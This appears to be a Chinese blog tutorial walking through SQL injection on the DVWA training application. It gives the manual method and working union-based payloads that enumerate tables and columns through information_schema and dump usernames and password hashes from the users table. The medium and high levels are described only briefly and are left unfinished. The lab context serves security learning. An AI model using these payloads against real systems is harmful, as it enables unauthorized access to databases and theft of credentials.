DVWA-SQL注入

一、SQL注入概念

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

这篇文章的SQL手工注入写得挺不错的
添加链接描述
https://www.cnblogs.com/conquer-vv/p/11307682.html

三、DVWA注入

首先是DVWA Security为low的情况。
1.判断是否存在注入,注入是字符型还是数字型,猜解SQL查询语句中的字段数
试着输入①输入1提交,
结果

DVWA-SQL注入_第1张图片
②输入1’ 提交 ,得

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

③输入1 and 1=1 提交,得
DVWA-SQL注入_第2张图片
④ 提交1’ order by 3#

Unknown column '3' in 'order clause'

上图可以说明,SQL语句查询的表的字段数是2。

综上可以看出是存在注入点的, 我们猜测sql查询语句是这样的:
select First name的列名 and Surname的列名 from 表名 where id的列名 =‘我们输入的id’

这时看看源码:DVWA-SQL注入_第3张图片
果然和猜测的一样。

2…确定显示的位置(SQL语句查询之后的回显位置)
提交 1’ union select 1,2#
下图可以看出有2个回显
DVWA-SQL注入_第4张图片
也可以查询当前的数据库,以及版本:1’ union select version(),database()#
如图:
DVWA-SQL注入_第5张图片
3.获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
DVWA-SQL注入_第6张图片
4.获取表中的字段名
从users表获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
DVWA-SQL注入_第7张图片
5.获得字段中的数据
1’ union select user,password from users#
DVWA-SQL注入_第8张图片
成功获取。

将DVWA的级别设置为Medium
下图可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入
DVWA-SQL注入_第9张图片
DVWA-SQL注入_第10张图片
通过burpsuit抓包,修改数据包,绕过防御
1.判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入。
不过我的burpsuit出了点问题就等一下再来重做一遍。

将DVWA的级别设置为High
将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过

你可能感兴趣的:(安全)